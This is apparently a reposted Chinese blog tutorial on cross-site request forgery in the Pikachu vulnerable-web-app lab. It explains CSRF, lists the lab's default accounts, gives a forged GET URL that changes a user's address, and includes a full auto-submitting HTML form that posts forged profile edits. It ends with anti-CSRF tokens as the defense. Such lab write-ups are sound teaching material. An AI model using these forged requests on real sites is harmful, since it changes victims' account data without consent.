标签:欺骗 body 验证 伪造 xss pos value code edit
CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造,在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)。
然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了
1.目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造
2.lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用
CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。
我们点一下提示发现,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
登录成功后可以来到个人中心,可以在这修改个人信息
修改一下个人信息并提交,我们来到burp抓包,修改个人信息的请求内容,我们改一下地址。
从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让lili点击就好,我们构造的URL中把地址add改为bd。lili一点击就修改了地址。
http://192.168.35.132/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=bd&email=lili%40pikachu.com&submit=submit
这个实际上满足条件比较严苛,比如lucy必须是登陆状态,而且防范意识较低
POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
编写个post.html页面,代码如下
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body>
<form method="post" action="http://192.168.35.132/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="18656565545" /> <input id="add" type="text" name="add" value="hebei" /> <input id="email" type="text" name="email" value="lili@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
然后我直接就把他放在了pikachu的目录下了,
然后诱骗受害者点击链接:http://192.168.35.132/pikachu/post.html,就会自动往服务器发送POST请求,修改地址信息
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
CSRF的主要问题是敏感操作容易被伪造,以加入Token让请求不容易被伪造,
每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。
标签:欺骗 body 验证 伪造 xss pos value code edit
原文地址:https://www.cnblogs.com/qi-yuan/p/12513542.html